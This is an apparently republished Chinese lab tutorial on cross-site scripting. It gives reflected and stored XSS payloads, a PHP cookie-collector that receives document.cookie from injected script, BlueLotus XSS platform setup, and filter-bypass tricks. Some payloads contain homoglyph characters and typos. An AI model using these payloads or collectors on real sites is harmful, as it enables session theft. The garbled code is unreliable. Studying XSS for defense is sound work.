XSS跨站攻击漏洞

news2025/1/11 4:33:01

XSS跨站攻击漏洞

一 概述

1 XSS概述

xss全称为:Cross Site Scripting,指跨站攻击脚本,XSS漏洞发生在前端,攻击的是浏览器的解析引擎,XSS就是让攻击者的JavaScript代码在受害者的浏览器上执行。

XSS攻击者的目的就是寻找具有XSS漏洞的网页,让受害者在不知情的情况下,在有XSS漏洞的网页上执行攻击者的JavaScript代码。

XSS是提前埋伏好漏洞陷阱,等着受害者上钩。既然攻击者是执行JavaScript代码,所以攻击的语句应该能让JavaScript运行。

有两种途径

第一种 反射型

直接将js代码附在url中,把url发送给指定的用户。引诱其点击。

第二种 存储型

把js代码通过后端漏洞,存入数据库中,由于页面在接受服务器返回响应时会从数据库中取出js代码,造成访问该页面的所有用户被攻击。

2 危害

1.页面挂马
2.获取用户的cookie
3.ddos攻击
4.钓鱼攻击
5.篡改数据
6.传播病毒

二 原理

1 反射型

(1)用户输入内容,直接显示在页面

php

<?php
    $content = $_GET["content"];
    echo "$content"
?>

payload

192.172.10.41/week3/demo1.php?content=<script>alert(1)</script>

(2)将用户输入的内容,回显在标签对中

php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
    <div>
        <?php
            $content = $_GET["content"];
            echo "$content"
        ?>
    </div>
</body>
</html>

payload

192.172.10.41/week3/demo1.php?content=hello

(3) 将用户的输入回显在标签属性中

php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
    <div>
        <?php
            $content = $_GET["content"];
        ?>
        <input type="text" value="<?=$content;?>">
    </div>
</body>
</html>

payload

闭合标签,添加script标签
192.172.10.41/week3/demo1.php?content=hello"><script>alert(1)</script><!--
添加事件
192.172.10.41/week3/demo1.php?content=hello" οnmοuseοver="alert(1)
嵌入网页
192.172.10.41/week3/demo1.php?content="><iframe src="https://www.taobao.com" width="100%" heigth="100%" ></iframe><!--
添加页面元素
192.172.10.41/week3/demo1.php?content="><img src="./image/dateme.gif" οnclick="alert(1)"><!--

XSS常用测试语句

<script>alert(1)</script>
<img src=1 οnerrοr=alert(1)>
<svg οnlοad=alert(1)>
<a href=javascript:alert(1)>
<input οnfοcus=write(1) autofocus>

2 存储型

将攻击脚本通过后端写入到数据库中,用户在访问页面时,后端通过查询将所有数据回显在页面触发攻击。

php-add

<?php
    include "utils/dbUtil.php";
​
    //1.接收用户输入
    $content = $_GET['content'];
    //2.sql
    $sql = "insert into week3_test values(default,'$content')";
    //3.执行sql
    $res = executeSql($sql);
    //判断结果
    if($res){
        echo "success";
    }else{
        echo "error";
    }
?>
192.172.10.41/week3/demo2-xss存储型-add.php?content=百度<script>alert(1)</script>

php-findById

<?php
    include "utils/dbUtil.php";
​
    //1.接收用户输入
    $id = $_GET['id'];
    //2.sql
    $sql = "select * from week3_test where id=$id";
    //3.执行sql
    $res = queryOne($sql);
    //判断结果
    if($res){
        print_r($res);
    }else{
        echo "error";
    }
?>
192.172.10.41/week3/demo3-xss存储型-findById.php?id=4

三 XSS获取Cookie

1 发送cookie

php

<?php
    session_start();
    $content = $_GET["content"];
    echo $content;
?>

注入代码

PHP后台需要将 + 号处理为:%2B,将 & 处理为 %26
语法
    获取浏览器cookie值 document.cookie
    发送请求 <script>location.href=url</script>
    <script>location.href="http://ip.php?cookie="%2bocument.cookie</script>
    <script>new Image().src="http://ip.php?cookie="%2bocument.cookie</script>

2 准备C2服务器

搭建phpstudy环境
  • 安装phpstudy

image-20231206121704548

  • 打开软件,启动Apache和MySQL服务。

image-20231206121840758

  • 点击网站,点击管理里的根目录。这里面放的是我们需要去执行的文件,也就是www目录下面。

image-20231206121952513

  • 我们在这个文件里面创建一个简单的php文件。

image-20231206122521204

  • 打开浏览器,输入http://localhost/phpinfo.php。phpinfo.php是你写的文件名

image-20231206122554714

开发xss服务器端

CREATE TABLE `getcookie`  (
  `id` int(0) NOT NULL AUTO_INCREMENT,
  `url` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,
  `cookie` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,
  `createtime` timestamp(0) NULL DEFAULT NULL,
  PRIMARY KEY (`id`) USING BTREE
) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin ROW_FORMAT = Dynamic;

php

<?php
    $url = $_GET['url'];
    $cookie = $_GET['cookie'];
    
    //1.连接数据库 参数说明: ip 账号 密码 数据库
    $conn = mysqli_connect("127.0.0.1",'root','root','part3'); 
    //2.设置编码格式utf-8
    mysqli_query($conn,"set names utf8");
    //3.sql
    $sql = "insert into getcookie(url,cookie,createtime) values('$url','$cookie',now())";
    //4.执行sql
    $res = mysqli_query($conn,$sql) or die("执行失败".mysqli_error($conn));
?>

3 开始注入获取cookie

192.172.10.41/week3/demo1-xss反射型.php?content=hello<script>new Image().src="http://192.172.10.40/getcookie.php?url="%2Bdocument.cookie%2B"%26cookie="%2Blocation.href </script>

image-20231206141921130

image-20231206141937194

四 BlueLotusXSS平台使用

一、安装

下载地址 GitHub - sqlsec/BlueLotus_XSSReceiver: XSS平台 CTF工具 Web安全工具

1 上传BlueLotus_XSSReceiver-master.zip到xampp

把BlueLotus_XSSReceiver-master.zip上传到CentOS的/opt/lampp/htdocs目录,并解压
解压 unzip BlueLotus_XSSReceiver-master.zip

2 访问:192.172.10.41/BlueLotus_XSSReceiver-master/install.php

按照提示将config-sample.php改名为config.php 不要点安装

image-20231206153301495

3 配置目录权限

执行命令:chmod o+w data myjs template

image-20231206153652286

4 登录

登录地址  http://192.172.10.41/BlueLotus_XSSReceiver-master/login.php
登录密码  bluelotus

image-20231206153448053

5 进入首页

image-20211106210912883

二、定制XSS代码

1 生成payload

image-20231206155645113

生成Payload后,直接将其代码复制到XSS页面中即可

image-20231206155732151

2 在页面上注入代码

192.172.10.41/week3/demo1-xss反射型.php?content=hello<script src="http://192.172.10.41/BlueLotus_XSSReceiver-master/myjs/getcookie.js"></script>

image-20231206155826294

接收到数据

image-20231206155903035

https://github.com/sqlsec/BlueLotus_XSSReceiver

五 XSS的防御和绕过

1 防御

(1) 前端校验 针对用户输入框进行js校验。

(2)通过函数对用户输入内容中的特殊符号进行转码.

htmpspcialchars(字符串,ENT_QUOTES);  ENT_QUOTES表示对单引号进行转码

(3)通过字符串替换:替换规则需要考虑各种覆盖。

str_replace()

2 绕过

(1)针对前端校验

在浏览器上禁用js
通过工具或者协议绕过前端。

(2)函数替换

1 可以使用实体转码
	&#x6A 
2 大小写绕过: 针对没有忽略大小写
<Script></sCript>
3 双写绕过 str_replace("script","",$str);
scrscriptipt
4 如果对空格进行了替换 使用 %0或者%0d绕过

六 XSS靶场实战

image-20231206171035727

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1854488.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【从0实现React18】 (三) 初探reconciler 带你初步探寻React的核心逻辑

Reconciler 使React核心逻辑所在的模块&#xff0c;中文名叫协调器&#xff0c;协调(reconciler)就是diff算法的意思 reconciler有什么用&#xff1f; 在前端框架出现之前&#xff0c;通常会使用 jQuery 这样的库来开发页面。jQuery 是一个过程驱动的库&#xff0c;开发者需要…

SLAM Paper Reading和代码解析

最近对VINS、LIO-SAM等重新进行了Paper Reading和代码解析。这两篇paper和代码大约在三年前就读过&#xff0c;如今重新读起来&#xff0c;仍觉得十分经典&#xff0c;对SLAM算法研发具有十分重要的借鉴和指导意义。重新来读&#xff0c;对其中的一些关键计算过程也获得了更新清…

java的输出流File OutputStream

一、字节输出流FileOutput Stream 1、定义 使用OutputStream类的FileOutput Stream子类向文本文件写入的数据。 2.常用构造方法 3.创建文件输出流对象的常用方式 二、输出流FileOutputStream类的应用示例 1.示例 2、实现步骤 今天的总结就到此结束啦&#xff0c;拜拜&#x…

JVM专题七:JVM垃圾回收机制

JVM专题六&#xff1a;JVM的内存模型中&#xff0c;我们介绍了JVM内存主要分哪些区域&#xff0c;这些区域分别是干什么的&#xff0c;同时也举了个例子&#xff0c;在运行过程种各个区域数据是怎样流转的。细心的小伙伴可能发现一个问题&#xff0c;在介绍完方法弹栈以后就没有…

SQL找出所有员工当前薪水salary情况

系列文章目录 文章目录 系列文章目录前言 前言 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站&#xff0c;这篇文章男女通用&#xff0c;看懂了就去分享给你的码吧。 描述 有一个薪水表…

13.爬虫---PyMongo安装与使用

13.PyMongo安装与使用 1.安装 PyMongo2.使用PyMongo2.1连接数据库和集合2.2增加数据2.3修改数据2.4查询数据2.5删除数据 3.总结 MongoDB 安装可以看这篇文章MongoDB安装配置教程&#xff08;详细版&#xff09; 1.安装 PyMongo PyMongo 是Python中用于连接MongoDB数据库的库&a…

win32API(CONSOLE 相关接口详解)

前言&#xff1a; Windows这个多作业系统除了协调应⽤程序的执⾏、分配内存、管理资源之外&#xff0c;它同时也是⼀个很⼤的服务中⼼&#xff0c;调⽤这个服务中⼼的各种服务&#xff08;每⼀种服务就是⼀个函数&#xff09;&#xff0c;可以帮应⽤程式达到开启视窗、描绘图形…

Linux使用——查看发行版本、内核、shell类型等基本命令

先做快照 虚拟机中编辑网络 关机 普通账户和管理员账户 互相对照 localhost相当于IP 参数: 短格式:以减号(-)开头&#xff0c;参数字母 长格式:以2个减号(--)后跟上完整的参数单词 当前发行版本 [rootserver ~]# cat /etc/redhat-release Red Hat Enterprise Linux release 9.…

区块链技术原理

1.起源&#xff1a; ➢ 中本聪(Satoshi Nakamoto), 2008 ➢ 比特币:一种点对点的电子现金系统 2.分布式账本技术原理 ➢ 将交易向全网所有节点进行广播 ➢ 众多记账节点对记账权达成共识&#xff0c;由共识确认的记账节点把记账区块发布给全网 ➢ 所有账本数据完整存储于区块…

ADD属性驱动架构设计(一)

目录 一、架构设计过程 1.1、架构设计过程 1.1.1、设计目的 1.1.2、质量属性&#xff08;非功能需求&#xff09; 1.1.3、核心功能&#xff08;功能需求&#xff09; 1.1.4、架构关注 1.1.5、约束条件 1.2、基于设计过程 二、什么是ADD? 三、为什么选择ADD? 四、作…

OpenGL3.3_C++_Windows(18)

接口块&#xff1a; glsl彼此传输数据&#xff0c;通过in / out&#xff0c;当更多的变量&#xff0c;涉及数组和结构体接口块(Interface Block)类似struct&#xff0c;in / out 块名{……}实例名 Uniform缓冲对象&#xff1a; 首先理解uniform Object&#xff1a;负责向gl…

RTSP协议分析与安全实践

RTSP协议&#xff0c;全称实时流协议(Real Time Streaming Protocol)&#xff0c;前文已经简单介绍了RTSP相关协议&#xff1b; RTSP和RTP(RTCP) 这里再提一下RTSP和RTP/RTCP、RSVP的关系&#xff1b;如图&#xff1a; RTSP和HTTP 相似性&#xff1a;RTSP和HTTP协议都使用纯…

Android13 WMS窗口层级树

1&#xff0c;认识层级树 可以通过dumpsys activity containers 看到 WMS 层级树的结构 ACTIVITY MANAGER CONTAINERS (dumpsys activity containers) ROOT typeundefined modefullscreen override-modeundefined requested-bounds[0,0][0,0] bounds[0,0][1440,2960]#0 Displa…

【驱动篇】龙芯LS2K0300之单总线驱动

实验过程 实验目的&#xff1a; 在龙芯开发板上面使用单总线驱动DS18B20温度传感器 ① 根据原理图连接DS18B20模块 ② 将i2c0引脚的功能复用为GPIO ③ 注册字符设备&#xff0c;按照DS18B20的读写时序编写读写驱动接口 ④ 编写测试用例解析传感器的数值 原理图 将板子上…

细粒度图像分类论文阅读笔记

细粒度图像分类论文阅读笔记 摘要Abstract1. 用于细粒度图像分类的聚合注意力模块1.1 文献摘要1.2 研究背景1.3 本文创新点1.4 计算机视觉中的注意力机制1.5 模型方法1.5.1 聚合注意力模块1.5.2 通道注意力模块通道注意力代码实现 1.5.3 空间注意力模块空间注意力代码实现 1.5.…

[MQTT]Mosquitto的權限管理_使用者/密碼(pwfile)和訪問控制清單(aclfile)

延續Mosquitto的內網連接(intranet)和使用者/密碼權限設置文章&#xff0c;經解讀mosquitto官網文檔&#xff0c;在權限管理部分&#xff0c;除了設置使用者/密碼(pwfile)之外&#xff0c;還有訪問控制清單(Access Control List, aclfile)可以設置。經過測試&#xff0c;同時設…

Python中使用PyQT5库时报错:没有Qt平台插件可以初始化

一、发现问题&#xff1a;无限易pythonGo打开执行的时候报&#xff1a;“没有Qt平台插件可以初始化&#xff0c;请重新安装应用程序。”的错误&#xff0c;点击确定后无限易崩溃闪退。 二、解决问题&#xff1a; 1、重新安装依赖&#xff0c;打开CMD输入pip list&#xff0c;查…

开发uniapp插件包aar文件,使uniapp可以调用jar包

背景 使用 uniapp 开发应用时&#xff0c;很多时候都需要调用第三方的sdk&#xff0c;一般以 jar 为主。为了应对这个问题&#xff0c;官方提供了插件方案&#xff0c;可以将第三方 jar 包进行封装为 aar 包后&#xff0c;再集成到 uniapp 中使用。 一、环境安装工具 1、jdk…

拓扑排序——C语言

拓扑排序&#xff08;Topological Sorting&#xff09;是一种用于有向无环图&#xff08;DAG&#xff09;的排序算法&#xff0c;其输出是图中所有顶点的线性排序&#xff0c;使得对于每条有向边 (u, v)&#xff0c;顶点 u 在 v 之前出现。拓扑排序确定了项目网络图中的起始事件…

嵌入式中逻辑分析仪与示波器的基本原理

大家好,今天主要给大家分享一下,嵌入式中如何使用逻辑分析仪和示波器的方法,希望对大家有所帮助。 https://dreamsourcelab.cn/ 第一:什么是逻辑分析仪 是否遇到使用示波器分析数字电路的冏境:深度不够,时间太短,无法抓到想要的波形,没有协议内容解析? 逻辑分析仪…